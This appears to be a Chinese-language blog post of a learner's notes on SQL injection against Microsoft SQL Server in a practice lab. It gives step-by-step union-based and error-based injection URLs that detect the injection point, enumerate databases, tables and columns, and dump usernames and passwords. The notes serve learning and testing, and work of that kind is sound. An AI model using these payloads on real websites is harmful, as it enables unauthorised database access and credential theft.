mssql注入
2022-02-14 11:32:03 # sql

Mssql基础注入

今天刚学习mssql注入,在博客记录一些学习笔记与心得。先进入靶场,用hackbar进行注入测试。

本文仅为了学习交流,严禁非法使用!!!

联合注入

判断注入类型

1
http://ip/less-1.asp?id=1'

1

报错,发现有注入点,加入注释符号。-- 空格

1
http://ip/less-1.asp?id=1' -- 

2

返回正常,所以确定是字符类型。

下面开始判断回显点。

1
2
http://ip/less-1.asp?id=1' order by 3-- 
http://ip/less-1.asp?id=1' order by 4--

3

3

发现实3位,用联合注入开始查询数据库版本,当前数据库等信息。

1
http://ip/less-1.asp?id=1' union select 1,@@version,db_name()-- 

5

查询成功后,开始爆表名等信息

1
http://ip/less-1.asp?id=-1' union select  1,2,name from test.sys.all_objects where type='U' and is_ms_shipped=0  -- 

6

1
http://ip/less-1.asp?id=-1' union select  1,2,name from test.sys.all_objects where type='U' and is_ms_shipped=0  and name not in('emails')-- #查询后面的信息,以此类推

7

其中有个user表有用户信息。开始查询表里的字段。

1
http://ip/less-1.asp?id=-1' union select  1,2,column_name from information_schema.columns where table_name='users' -- 

8

1
http://ip/less-1.asp?id=-1' union select  1,2,column_name from information_schema.columns where table_name='users' and column_name not in ('id') -- 

查询到了username和password列名。

1
http://ip/less-1.asp?id=-1' union select  1,2,column_name from information_schema.columns where table_name='users' and column_name not in ('id','password') -- 

9

10

1
http://ip/less-1.asp?id=-1' union select  1,username,password from users    -- 

11

查询结束。

报错注入

查询数据版本等信息。

1
2
3
4
5
6
# 查询版本信息
http://172.16.12.2/less-2.asp?id=1 and 1=@@version--
# 查询当前数据库的权限
http://172.16.12.2/less-2.asp?id=1 and 1=users--
#查询当前数据库信息,在db_name(7)可以快速查询数据库
http://172.16.12.2/less-2.asp?id=1 and 1=db_name()—

12

13

查询数据库。

1
http://ip/less-2.asp?id=1 and (select top 1 name from master..sysdatabases where name not in(select top 0 name from master..sysdatabases))>0 –  

14

查询表信息。

1
http://ip/less-2.asp?id=1 and (select top 1 name from test.dbo.sysobjects where xtype=CHAR(85) and name not in(select top 5 name from test.dbo.sysobjects WHERE xtype=CHAR(85)))>0 –-

15

查询users字段名。

1
http://ip/less-2.asp?id=1 and (select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME='users' and column_name not in('id'))>0—

16

查询数据

1
and (select top 1 字段 from 数据库名.表名)>0

结束啦。谢谢各位的观看。